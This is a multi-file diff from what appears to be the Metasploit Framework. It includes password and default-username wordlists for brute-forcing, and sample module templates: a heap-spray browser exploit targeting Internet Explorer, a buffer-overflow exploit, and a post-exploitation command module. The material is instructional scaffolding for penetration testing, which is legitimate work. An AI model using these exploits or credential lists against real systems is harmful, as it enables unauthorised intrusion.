|
||||
mc1029
|
||||
mazafaka
|
||||
masterok
|
||||
maine207
|
||||
m1r4nd4
|
||||
m0t0rhead
|
||||
lkilogmL
|
||||
linux99
|
||||
lheujq
|
||||
lbyjpfdh
|
||||
labas123
|
||||
kukareku
|
||||
krumholz
|
||||
kpact
|
||||
kosten
|
||||
kolobezka
|
||||
klmnxx
|
||||
kcm
|
||||
kali2002
|
||||
k1rs1kka
|
||||
juke2008
|
||||
jtjd
|
||||
joljee
|
||||
jiemou3i
|
||||
jbvm
|
||||
iconto
|
||||
ibddls
|
||||
hogehoge
|
||||
heleli
|
||||
haslo123
|
||||
harley1985
|
||||
gowest!
|
||||
goneo
|
||||
gomachan
|
||||
gmmkh
|
||||
gigi99
|
||||
ghbdtnbr
|
||||
gfhjkmrf
|
||||
g8keeper
|
||||
fuckbitchesgetmoney
|
||||
formeforme
|
||||
flat24
|
||||
flaquito6
|
||||
f00sball
|
||||
f00bar
|
||||
ezone
|
||||
ezit
|
||||
ekdrms
|
||||
dream182
|
||||
delled0
|
||||
defero
|
||||
ddemde
|
||||
darwin99
|
||||
daemon09
|
||||
d0m1n0
|
||||
cyphte
|
||||
cukorborso
|
||||
ctrls
|
||||
cti4ever
|
||||
cthdfr
|
||||
cpe1704tks
|
||||
compaq2003
|
||||
cmlslc
|
||||
changeme20
|
||||
cdwv
|
||||
cdn123
|
||||
ccaere
|
||||
cbtp
|
||||
cairell
|
||||
cabajka
|
||||
c@lvin
|
||||
burek123
|
||||
barbetta
|
||||
baofeng
|
||||
bamsty
|
||||
b4lls4ck
|
||||
atlant1s
|
||||
astime
|
||||
asdlkj123
|
||||
asdlkj12
|
||||
aqua2000
|
||||
aqq123
|
||||
apstndp
|
||||
anyadhogyvan
|
||||
anakonda1
|
||||
alog123
|
||||
akula123
|
||||
aipai
|
||||
adworks
|
||||
admin222
|
||||
adm12345
|
||||
accobra
|
||||
abhaile1
|
||||
abcdpass
|
||||
abc123d4
|
||||
abang78
|
||||
a1rplan3
|
||||
Zxasqw12
|
||||
What3v3r
|
||||
Varadero
|
||||
TheLast1
|
||||
Tamara01
|
||||
T4urus
|
||||
SunnyJim7
|
||||
Suckit1
|
||||
Runner11
|
||||
R3volution
|
||||
Qwe12345
|
||||
QAWSEDRF
|
||||
Q!W@E#R$
|
||||
Polar123
|
||||
Passw0rd1111
|
||||
PassW0rd
|
||||
Pa22w0rd
|
||||
P@$$W0RD
|
||||
M1cha3l
|
||||
M
|
||||
LonDon
|
||||
Kitz
|
||||
Kia123
|
||||
Joel1234
|
||||
IPMI
|
||||
George123
|
||||
Chocolate19
|
||||
Aurora01
|
||||
Admin@123
|
||||
Admin123
|
||||
9ijn7ygv
|
||||
9641
|
||||
9225481
|
||||
788111
|
||||
749174
|
||||
643558
|
||||
5832277
|
||||
5583134
|
||||
4rfv%TGB
|
||||
493749
|
||||
4636421
|
||||
3l3ctr1c
|
||||
3800326
|
||||
343guiltyspark
|
||||
3425235
|
||||
2keeper
|
||||
2594561
|
||||
2505463
|
||||
24041975
|
||||
23712371
|
||||
23051979
|
||||
21121477
|
||||
20682068
|
||||
20562056
|
||||
1qsx2wdc
|
||||
1qazcde3
|
||||
1qaz"WSX
|
||||
1q2w3e4R
|
||||
1lkjhgfdsa
|
||||
1986673
|
||||
1660359
|
||||
1340hd
|
||||
123cztery
|
||||
1234qwer`
|
||||
12345678abc
|
||||
123132123
|
||||
116572
|
||||
0407056
|
||||
00850085
|
||||
--------
|
||||
!qwe123
|
||||
!qazXsw2
|
||||
!QAZ@WSX3edc4rfv
|
||||
!QAZ2wsx#EDC4rfv
|
||||
!@#QWE123qwe
|
||||
@@ -0,0 +1,5 @@
|
||||
ADMIN
|
||||
admin
|
||||
root
|
||||
Administrator
|
||||
USERID
|
||||
+13
-64
@@ -11,7 +11,7 @@
|
||||
#
|
||||
# It's strongly recommended to check this file into your version control system.
|
||||
|
||||
ActiveRecord::Schema.define(:version => 20130522041110) do
|
||||
ActiveRecord::Schema.define(:version => 20130717150737) do
|
||||
|
||||
create_table "api_keys", :force => true do |t|
|
||||
t.text "token"
|
||||
@@ -19,38 +19,13 @@ ActiveRecord::Schema.define(:version => 20130522041110) do
|
||||
t.datetime "updated_at", :null => false
|
||||
end
|
||||
|
||||
create_table "attachments", :force => true do |t|
|
||||
t.string "name", :limit => 512
|
||||
t.binary "data"
|
||||
t.string "content_type", :limit => 512
|
||||
t.boolean "inline", :default => true, :null => false
|
||||
t.boolean "zip", :default => false, :null => false
|
||||
t.integer "campaign_id"
|
||||
end
|
||||
|
||||
create_table "attachments_email_templates", :id => false, :force => true do |t|
|
||||
t.integer "attachment_id"
|
||||
t.integer "email_template_id"
|
||||
end
|
||||
|
||||
create_table "campaigns", :force => true do |t|
|
||||
t.integer "workspace_id", :null => false
|
||||
t.string "name", :limit => 512
|
||||
t.text "prefs"
|
||||
t.integer "status", :default => 0
|
||||
t.datetime "started_at"
|
||||
t.datetime "created_at", :null => false
|
||||
t.datetime "updated_at", :null => false
|
||||
end
|
||||
|
||||
create_table "clients", :force => true do |t|
|
||||
t.integer "host_id"
|
||||
t.datetime "created_at"
|
||||
t.string "ua_string", :limit => 1024, :null => false
|
||||
t.string "ua_name", :limit => 64
|
||||
t.string "ua_ver", :limit => 32
|
||||
t.string "ua_string", :limit => 1024, :null => false
|
||||
t.string "ua_name", :limit => 64
|
||||
t.string "ua_ver", :limit => 32
|
||||
t.datetime "updated_at"
|
||||
t.integer "campaign_id"
|
||||
end
|
||||
|
||||
create_table "creds", :force => true do |t|
|
||||
@@ -66,24 +41,6 @@ ActiveRecord::Schema.define(:version => 20130522041110) do
|
||||
t.string "source_type"
|
||||
end
|
||||
|
||||
create_table "email_addresses", :force => true do |t|
|
||||
t.integer "campaign_id", :null => false
|
||||
t.string "first_name", :limit => 512
|
||||
t.string "last_name", :limit => 512
|
||||
t.string "address", :limit => 512
|
||||
t.boolean "sent", :default => false, :null => false
|
||||
t.datetime "clicked_at"
|
||||
end
|
||||
|
||||
create_table "email_templates", :force => true do |t|
|
||||
t.string "name", :limit => 512
|
||||
t.string "subject", :limit => 1024
|
||||
t.text "body"
|
||||
t.integer "parent_id"
|
||||
t.integer "campaign_id"
|
||||
t.text "prefs"
|
||||
end
|
||||
|
||||
create_table "events", :force => true do |t|
|
||||
t.integer "workspace_id"
|
||||
t.integer "host_id"
|
||||
@@ -167,18 +124,11 @@ ActiveRecord::Schema.define(:version => 20130522041110) do
|
||||
add_index "hosts", ["state"], :name => "index_hosts_on_state"
|
||||
add_index "hosts", ["workspace_id", "address"], :name => "index_hosts_on_workspace_id_and_address", :unique => true
|
||||
|
||||
create_table "hosts_tags", :id => false, :force => true do |t|
|
||||
create_table "hosts_tags", :force => true do |t|
|
||||
t.integer "host_id"
|
||||
t.integer "tag_id"
|
||||
end
|
||||
|
||||
create_table "imported_creds", :force => true do |t|
|
||||
t.integer "workspace_id", :default => 1, :null => false
|
||||
t.string "user", :limit => 512
|
||||
t.string "pass", :limit => 512
|
||||
t.string "ptype", :limit => 16, :default => "password"
|
||||
end
|
||||
|
||||
create_table "listeners", :force => true do |t|
|
||||
t.datetime "created_at", :null => false
|
||||
t.datetime "updated_at", :null => false
|
||||
@@ -448,6 +398,13 @@ ActiveRecord::Schema.define(:version => 20130522041110) do
|
||||
t.datetime "updated_at", :null => false
|
||||
end
|
||||
|
||||
create_table "task_sessions", :force => true do |t|
|
||||
t.integer "task_id", :null => false
|
||||
t.integer "session_id", :null => false
|
||||
t.datetime "created_at", :null => false
|
||||
t.datetime "updated_at", :null => false
|
||||
end
|
||||
|
||||
create_table "tasks", :force => true do |t|
|
||||
t.integer "workspace_id", :default => 1, :null => false
|
||||
t.string "created_by"
|
||||
@@ -582,14 +539,6 @@ ActiveRecord::Schema.define(:version => 20130522041110) do
|
||||
add_index "web_sites", ["options"], :name => "index_web_sites_on_options"
|
||||
add_index "web_sites", ["vhost"], :name => "index_web_sites_on_vhost"
|
||||
|
||||
create_table "web_templates", :force => true do |t|
|
||||
t.string "name", :limit => 512
|
||||
t.string "title", :limit => 512
|
||||
t.string "body", :limit => 524288
|
||||
t.integer "campaign_id"
|
||||
t.text "prefs"
|
||||
end
|
||||
|
||||
create_table "web_vulns", :force => true do |t|
|
||||
t.integer "web_site_id", :null => false
|
||||
t.datetime "created_at", :null => false
|
||||
@@ -597,7 +546,7 @@ ActiveRecord::Schema.define(:version => 20130522041110) do
|
||||
t.text "path", :null => false
|
||||
t.string "method", :limit => 1024, :null => false
|
||||
t.text "params", :null => false
|
||||
t.text "pname", :null => false
|
||||
t.text "pname"
|
||||
t.integer "risk", :null => false
|
||||
t.string "name", :limit => 1024, :null => false
|
||||
t.text "query"
|
||||
|
||||
@@ -15,19 +15,18 @@ require 'msf/core'
|
||||
###
|
||||
class Metasploit4 < Msf::Auxiliary
|
||||
|
||||
def initialize
|
||||
super(
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Sample Auxiliary Module',
|
||||
'Version' => '$Revision: 4419 $',
|
||||
'Description' => 'Sample Auxiliary Module',
|
||||
'Author' => 'hdm',
|
||||
'Author' => ['hdm'],
|
||||
'License' => MSF_LICENSE,
|
||||
'Actions' =>
|
||||
[
|
||||
['Default Action'],
|
||||
['Another Action']
|
||||
]
|
||||
)
|
||||
))
|
||||
|
||||
end
|
||||
|
||||
|
||||
@@ -15,12 +15,12 @@ class Metasploit4 < Msf::Encoder
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Sample encoder',
|
||||
'Version' => '$Revision$',
|
||||
'Name' => 'Sample Encoder',
|
||||
'Description' => %q{
|
||||
Sample encoder that just returns the block it's passed
|
||||
when encoding occurs.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => 'skape',
|
||||
'Arch' => ARCH_ALL)
|
||||
end
|
||||
|
||||
@@ -0,0 +1,147 @@
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
|
||||
###
|
||||
#
|
||||
# This exploit sample demonstrates how a typical browser exploit is written using commonly
|
||||
# used components such as: HttpServer, BrowserAutopwn, RopDB, DOM Element Property Spray.
|
||||
#
|
||||
###
|
||||
class Metasploit4 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
include Msf::Exploit::RopDb
|
||||
include Msf::Exploit::Remote::BrowserAutopwn
|
||||
|
||||
# Set :classid and :method for ActiveX exploits. For example:
|
||||
# :classid => "{C3B92104-B5A7-11D0-A37F-00A0248F0AF1}",
|
||||
# :method => "SetShapeNodeType",
|
||||
autopwn_info({
|
||||
:ua_name => HttpClients::IE,
|
||||
:ua_minver => "8.0",
|
||||
:ua_maxver => "10.0",
|
||||
:javascript => true,
|
||||
:os_name => OperatingSystems::WINDOWS,
|
||||
:rank => NormalRanking
|
||||
})
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "Module Name",
|
||||
'Description' => %q{
|
||||
This template covers IE8/9/10, and uses the user-agent HTTP header to detect
|
||||
the browser version. Please note IE8 and newer may emulate an older IE version
|
||||
in compatibility mode, in that case the module won't be able to detect the
|
||||
browser correctly.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'sinn3r' ],
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://metasploit.com' ]
|
||||
],
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', {} ],
|
||||
[ 'IE 8 on Windows XP SP3', { 'Rop' => :jre } ],
|
||||
[ 'IE 8 on Windows Vista', { 'Rop' => :jre } ],
|
||||
[ 'IE 8 on Windows 7', { 'Rop' => :jre } ],
|
||||
[ 'IE 9 on Windows 7', { 'Rop' => :jre } ],
|
||||
[ 'IE 10 on Windows 8', { 'Rop' => :jre } ]
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "\x00", # js_property_spray
|
||||
'StackAdjustment' => -3500
|
||||
},
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "Apr 1 2013",
|
||||
'DefaultTarget' => 0))
|
||||
end
|
||||
|
||||
def get_target(agent)
|
||||
return target if target.name != 'Automatic'
|
||||
|
||||
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
|
||||
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
|
||||
|
||||
ie_name = "IE #{ie}"
|
||||
|
||||
case nt
|
||||
when '5.1'
|
||||
os_name = 'Windows XP SP3'
|
||||
when '6.0'
|
||||
os_name = 'Windows Vista'
|
||||
when '6.1'
|
||||
os_name = 'Windows 7'
|
||||
when '6.2'
|
||||
os_name = 'Windows 8'
|
||||
end
|
||||
|
||||
targets.each do |t|
|
||||
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
|
||||
return t
|
||||
end
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
def get_payload(t)
|
||||
stack_pivot = "\x41\x42\x43\x44"
|
||||
code = payload.encoded
|
||||
|
||||
case t['Rop']
|
||||
when :msvcrt
|
||||
print_status("Using msvcrt ROP")
|
||||
rop_payload = generate_rop_payload('msvcrt', code, {'pivot'=>stack_pivot, 'target'=>'xp'})
|
||||
|
||||
else
|
||||
print_status("Using JRE ROP")
|
||||
rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot})
|
||||
end
|
||||
|
||||
rop_payload
|
||||
end
|
||||
|
||||
|
||||
def get_html(t)
|
||||
js_p = ::Rex::Text.to_unescape(get_payload(t), ::Rex::Arch.endian(t.arch))
|
||||
html = %Q|
|
||||
<script>
|
||||
#{js_property_spray}
|
||||
|
||||
var s = unescape("#{js_p}");
|
||||
sprayHeap({shellcode:s});
|
||||
</script>
|
||||
|
|
||||
|
||||
html.gsub(/^\t\t/, '')
|
||||
end
|
||||
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
agent = request.headers['User-Agent']
|
||||
print_status("Requesting: #{request.uri}")
|
||||
|
||||
target = get_target(agent)
|
||||
if target.nil?
|
||||
print_error("Browser not supported, sending 404: #{agent}")
|
||||
send_not_found(cli)
|
||||
return
|
||||
end
|
||||
|
||||
print_status("Target selected as: #{target.name}")
|
||||
html = get_html(target)
|
||||
send_response(cli, html, { 'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache' })
|
||||
end
|
||||
end
|
||||
@@ -22,13 +22,13 @@ class Metasploit4 < Msf::Exploit::Remote
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Sample exploit',
|
||||
'Name' => 'Sample Exploit',
|
||||
'Description' => %q{
|
||||
This exploit module illustrates how a vulnerability could be exploited
|
||||
in an TCP server that has a parsing bug.
|
||||
},
|
||||
'Author' => 'skape',
|
||||
'Version' => '$Revision$',
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => ['skape'],
|
||||
'References' =>
|
||||
[
|
||||
],
|
||||
@@ -41,14 +41,15 @@ class Metasploit4 < Msf::Exploit::Remote
|
||||
[
|
||||
# Target 0: Windows All
|
||||
[
|
||||
'Windows Universal',
|
||||
'Windows XP/Vista/7/8',
|
||||
{
|
||||
'Platform' => 'win',
|
||||
'Ret' => 0x41424344
|
||||
}
|
||||
],
|
||||
],
|
||||
'DefaultTarget' => 0))
|
||||
'DisclosureDate' => "Apr 1 2013",
|
||||
'DefaultTarget' => 0))
|
||||
end
|
||||
|
||||
#
|
||||
@@ -56,11 +57,11 @@ class Metasploit4 < Msf::Exploit::Remote
|
||||
# vulnerable.
|
||||
#
|
||||
def check
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
|
||||
#
|
||||
# The exploit method connects to the remote service and sends 1024 A's
|
||||
# The exploit method connects to the remote service and sends 1024 random bytes
|
||||
# followed by the fake return address and then the payload.
|
||||
#
|
||||
def exploit
|
||||
@@ -69,13 +70,13 @@ class Metasploit4 < Msf::Exploit::Remote
|
||||
print_status("Sending #{payload.encoded.length} byte payload...")
|
||||
|
||||
# Build the buffer for transmission
|
||||
buf = "A" * 1024
|
||||
buf += [ target.ret ].pack('V')
|
||||
buf += payload.encoded
|
||||
buf = rand_text_alpha(1024)
|
||||
buf << [ target.ret ].pack('V')
|
||||
buf << payload.encoded
|
||||
|
||||
# Send it off
|
||||
sock.put(buf)
|
||||
sock.get
|
||||
sock.get_once
|
||||
|
||||
handler
|
||||
end
|
||||
|
||||
@@ -17,9 +17,9 @@ class Metasploit4 < Msf::Nop
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Sample NOP generator',
|
||||
'Version' => '$Revision$',
|
||||
'Name' => 'Sample NOP Generator',
|
||||
'Description' => 'Sample single-byte NOP generator',
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => 'skape',
|
||||
'Arch' => ARCH_X86)
|
||||
end
|
||||
|
||||
@@ -19,8 +19,8 @@ module Metasploit4
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Debugger Trap',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Causes a debugger trap exception through int3',
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => 'skape',
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
|
||||
@@ -0,0 +1,40 @@
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/post/common'
|
||||
|
||||
###
|
||||
#
|
||||
# This post module sample shows how we can execute a command on the compromised machine
|
||||
#
|
||||
###
|
||||
class Metasploit4 < Msf::Post
|
||||
|
||||
include Msf::Post::Common
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Sample Post Module',
|
||||
'Description' => %q{Sample Post Module},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'sinn3r'],
|
||||
'Platform' => [ 'win'],
|
||||
'SessionTypes' => [ "shell", "meterpreter" ]
|
||||
))
|
||||
end
|
||||
|
||||
#
|
||||
# This post module runs a ipconfig command and returns the output
|
||||
#
|
||||
def run
|
||||
print_status("Executing ipconfig on remote machine")
|
||||
o = cmd_exec("ipconfig")
|
||||
print_line(o)
|
||||
end
|
||||
|
||||
end
|
||||
@@ -0,0 +1,132 @@
|
||||
<ruby>
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
#
|
||||
# Put your 'require' here
|
||||
#
|
||||
|
||||
#
|
||||
# RC files currently have no 'modinfo' like a real Metasploit module, so this help message
|
||||
# will have to do the trick for now.
|
||||
#
|
||||
def help
|
||||
msg = %Q|
|
||||
Description:
|
||||
Let's describe what this RC script is all about, plus anything the user should know before
|
||||
actually using it.
|
||||
|
||||
Usage:
|
||||
msfconsole -r <rc file> <db_user> <db_pass> <db_workspace> <arg1>
|
||||
|
||||
Options:
|
||||
<rc file> - I'm sure you already know
|
||||
<db_user> - Username for the database (datastore: 'DB_USER')
|
||||
<db_pass> - Password for the database (datastore: 'DB_PASS')
|
||||
<db_workspace> - Workspace for the database (datastore: 'DB_WORKSPACE')
|
||||
<arg1> - Argument 1 (datastore: 'ARG1')
|
||||
|
||||
Authors:
|
||||
sinn3r <sinn3r[at]metasploit.com>
|
||||
|
|
||||
|
||||
msg = msg.gsub(/^\t/, '')
|
||||
print_line(msg)
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# See if we're already connected
|
||||
#
|
||||
def is_db_active?
|
||||
begin
|
||||
framework.db.hosts
|
||||
return true
|
||||
rescue ::ActiveRecord::ConnectionNotEstablished
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Initialize the database.
|
||||
# Default to localhost:5432, as this is the default configuration suggested by the manual.
|
||||
#
|
||||
def init_db(username, password, workspace)
|
||||
db = "localhost:5432"
|
||||
print_status("Opening #{workspace} at #{db}")
|
||||
run_single("db_connect #{username}:#{password}@#{db}/#{workspace}")
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Initialize the argumets here
|
||||
#
|
||||
def init_args
|
||||
args = {}
|
||||
|
||||
joint = ARGV.join('')
|
||||
if joint =~ /^help$/i
|
||||
args[:help] = true
|
||||
return args
|
||||
end
|
||||
|
||||
# Add more arguments according to your help() function
|
||||
datastore = framework.datastore
|
||||
args[:db_user] = ARGV.shift || datastore['DB_USER'] || ''
|
||||
args[:db_pass] = ARGV.shift || datastore['DB_PASS'] || ''
|
||||
args[:db_workspace] = ARGV.shift || datastore['DB_WORKSPACE'] || ''
|
||||
args[:arg1] = ARGV.shift || datastore['ARG1'] || ''
|
||||
|
||||
if not is_db_active?
|
||||
if args[:db_user].empty? or args[:db_pass].empty? or args[:db_workspace].empty?
|
||||
raise ArgumentError, "Need DB_USER, DB_PASS, and DB_WORKSPACE"
|
||||
end
|
||||
end
|
||||
|
||||
raise ArgumentError, "Need ARG1" if args[:arg1].empty?
|
||||
|
||||
return args
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# This is your main function
|
||||
#
|
||||
def main(args)
|
||||
print_status("Initialzation is done, and here's your input: #{args[:arg1]}")
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Below initializes the arguments and database
|
||||
#
|
||||
begin
|
||||
args = init_args
|
||||
if args[:help]
|
||||
help
|
||||
return
|
||||
end
|
||||
|
||||
init_db(args[:db_user], args[:db_pass], args[:db_workspace]) if not is_db_active?
|
||||
main(args)
|
||||
|
||||
rescue ArgumentError => e
|
||||
print_error("Bad argument(s): #{e.message}")
|
||||
return
|
||||
|
||||
rescue RuntimeError => e
|
||||
# Any runtime error should be raised as "RuntimeError"
|
||||
print_error(e.message)
|
||||
return
|
||||
|
||||
rescue ::Exception => e
|
||||
# Whatever unknown exception occurs, we raise it
|
||||
raise e
|
||||
end
|
||||
|
||||
</ruby>
|
||||
Vendored
-459
@@ -1,459 +0,0 @@
|
||||
GNU LESSER GENERAL PUBLIC LICENSE
|
||||
Version 2.1, February 1999
|
||||
|
||||
Copyright (C) 1991, 1999 Free Software Foundation, Inc.
|
||||
59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
|
||||
Everyone is permitted to copy and distribute verbatim copies
|
||||
of this license document, but changing it is not allowed.
|
||||
|
||||
[This is the first released version of the Lesser GPL. It also counts
|
||||
as the successor of the GNU Library Public License, version 2, hence
|
||||
the version number 2.1.]
|
||||
|
||||
Preamble
|
||||
|
||||
The licenses for most software are designed to take away your
|
||||
freedom to share and change it. By contrast, the GNU General Public
|
||||
Licenses are intended to guarantee your freedom to share and change
|
||||
free software--to make sure the software is free for all its users.
|
||||
|
||||
This license, the Lesser General Public License, applies to some
|
||||
specially designated software packages--typically libraries--of the
|
||||
Free Software Foundation and other authors who decide to use it. You
|
||||
can use it too, but we suggest you first think carefully about whether
|
||||
this license or the ordinary General Public License is the better
|
||||
strategy to use in any particular case, based on the explanations below.
|
||||
|
||||
When we speak of free software, we are referring to freedom of use,
|
||||
not price. Our General Public Licenses are designed to make sure that
|
||||
you have the freedom to distribute copies of free software (and charge
|
||||
for this service if you wish); that you receive source code or can get
|
||||
it if you want it; that you can change the software and use pieces of
|
||||
it in new free programs; and that you are informed that you can do
|
||||
these things.
|
||||
|
||||
To protect your rights, we need to make restrictions that forbid
|
||||
distributors to deny you these rights or to ask you to surrender these
|
||||
rights. These restrictions translate to certain responsibilities for
|
||||
you if you distribute copies of the library or if you modify it.
|
||||
|
||||
For example, if you distribute copies of the library, whether gratis
|
||||
or for a fee, you must give the recipients all the rights that we gave
|
||||
you. You must make sure that they, too, receive or can get the source
|
||||
code. If you link other code with the library, you must provide
|
||||
complete object files to the recipients, so that they can relink them
|
||||
with the library after making changes to the library and recompiling
|
||||
it. And you must show them these terms so they know their rights.
|
||||
|
||||
We protect your rights with a two-step method: (1) we copyright the
|
||||
library, and (2) we offer you this license, which gives you legal
|
||||
permission to copy, distribute and/or modify the library.
|
||||
|
||||
To protect each distributor, we want to make it very clear that
|
||||
there is no warranty for the free library. Also, if the library is
|
||||
modified by someone else and passed on, the recipients should know
|
||||
that what they have is not the original version, so that the original
|
||||
author's reputation will not be affected by problems that might be
|
||||
introduced by others.
|
||||
|
||||
Finally, software patents pose a constant threat to the existence of
|
||||
any free program. We wish to make sure that a company cannot
|
||||
effectively restrict the users of a free program by obtaining a
|
||||
restrictive license from a patent holder. Therefore, we insist that
|
||||
any patent license obtained for a version of the library must be
|
||||
consistent with the full freedom of use specified in this license.
|
||||
|
||||
Most GNU software, including some libraries, is covered by the
|
||||
ordinary GNU General Public License. This license, the GNU Lesser
|
||||
General Public License, applies to certain designated libraries, and
|
||||
is quite different from the ordinary General Public License. We use
|
||||
this license for certain libraries in order to permit linking those
|
||||
libraries into non-free programs.
|
||||
|
||||
When a program is linked with a library, whether statically or using
|
||||
a shared library, the combination of the two is legally speaking a
|
||||
combined work, a derivative of the original library. The ordinary
|
||||
General Public License therefore permits such linking only if the
|
||||
entire combination fits its criteria of freedom. The Lesser General
|
||||
Public License permits more lax criteria for linking other code with
|
||||
the library.
|
||||
|
||||
We call this license the "Lesser" General Public License because it
|
||||
does Less to protect the user's freedom than the ordinary General
|
||||
Public License. It also provides other free software developers Less
|
||||
of an advantage over competing non-free programs. These disadvantages
|
||||
are the reason we use the ordinary General Public License for many
|
||||
libraries. However, the Lesser license provides advantages in certain
|
||||
special circumstances.
|
||||
|
||||
For example, on rare occasions, there may be a special need to
|
||||
encourage the widest possible use of a certain library, so that it becomes
|
||||
a de-facto standard. To achieve this, non-free programs must be
|
||||
allowed to use the library. A more frequent case is that a free
|
||||
library does the same job as widely used non-free libraries. In this
|
||||
case, there is little to gain by limiting the free library to free
|
||||
software only, so we use the Lesser General Public License.
|
||||
|
||||
In other cases, permission to use a particular library in non-free
|
||||
programs enables a greater number of people to use a large body of
|
||||
free software. For example, permission to use the GNU C Library in
|
||||
non-free programs enables many more people to use the whole GNU
|
||||
operating system, as well as its variant, the GNU/Linux operating
|
||||
system.
|
||||
|
||||
Although the Lesser General Public License is Less protective of the
|
||||
users' freedom, it does ensure that the user of a program that is
|
||||
linked with the Library has the freedom and the wherewithal to run
|
||||
that program using a modified version of the Library.
|
||||
|
||||
The precise terms and conditions for copying, distribution and
|
||||
modification follow. Pay close attention to the difference between a
|
||||
"work based on the library" and a "work that uses the library". The
|
||||
former contains code derived from the library, whereas the latter must
|
||||
be combined with the library in order to run.
|
||||
|
||||
GNU LESSER GENERAL PUBLIC LICENSE
|
||||
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
|
||||
|
||||
0. This License Agreement applies to any software library or other
|
||||
program which contains a notice placed by the copyright holder or
|
||||
other authorized party saying it may be distributed under the terms of
|
||||
this Lesser General Public License (also called "this License").
|
||||
Each licensee is addressed as "you".
|
||||
|
||||
A "library" means a collection of software functions and/or data
|
||||
prepared so as to be conveniently linked with application programs
|
||||
(which use some of those functions and data) to form executables.
|
||||
|
||||
The "Library", below, refers to any such software library or work
|
||||
which has been distributed under these terms. A "work based on the
|
||||
Library" means either the Library or any derivative work under
|
||||
copyright law: that is to say, a work containing the Library or a
|
||||
portion of it, either verbatim or with modifications and/or translated
|
||||
straightforwardly into another language. (Hereinafter, translation is
|
||||
included without limitation in the term "modification".)
|
||||
|
||||
"Source code" for a work means the preferred form of the work for
|
||||
making modifications to it. For a library, complete source code means
|
||||
all the source code for all modules it contains, plus any associated
|
||||
interface definition files, plus the scripts used to control compilation
|
||||
and installation of the library.
|
||||
|
||||
Activities other than copying, distribution and modification are not
|
||||
covered by this License; they are outside its scope. The act of
|
||||
running a program using the Library is not restricted, and output from
|
||||
such a program is covered only if its contents constitute a work based
|
||||
on the Library (independent of the use of the Library in a tool for
|
||||
writing it). Whether that is true depends on what the Library does
|
||||
and what the program that uses the Library does.
|
||||
|
||||
1. You may copy and distribute verbatim copies of the Library's
|
||||
complete source code as you receive it, in any medium, provided that
|
||||
you conspicuously and appropriately publish on each copy an
|
||||
appropriate copyright notice and disclaimer of warranty; keep intact
|
||||
all the notices that refer to this License and to the absence of any
|
||||
warranty; and distribute a copy of this License along with the
|
||||
Library.
|
||||
|
||||
You may charge a fee for the physical act of transferring a copy,
|
||||
and you may at your option offer warranty protection in exchange for a
|
||||
fee.
|
||||
|
||||
2. You may modify your copy or copies of the Library or any portion
|
||||
of it, thus forming a work based on the Library, and copy and
|
||||
distribute such modifications or work under the terms of Section 1
|
||||
above, provided that you also meet all of these conditions:
|
||||
|
||||
a) The modified work must itself be a software library.
|
||||
|
||||
b) You must cause the files modified to carry prominent notices
|
||||
stating that you changed the files and the date of any change.
|
||||
|
||||
c) You must cause the whole of the work to be licensed at no
|
||||
charge to all third parties under the terms of this License.
|
||||
|
||||
d) If a facility in the modified Library refers to a function or a
|
||||
table of data to be supplied by an application program that uses
|
||||
the facility, other than as an argument passed when the facility
|
||||
is invoked, then you must make a good faith effort to ensure that,
|
||||
in the event an application does not supply such function or
|
||||
table, the facility still operates, and performs whatever part of
|
||||
its purpose remains meaningful.
|
||||
|
||||
(For example, a function in a library to compute square roots has
|
||||
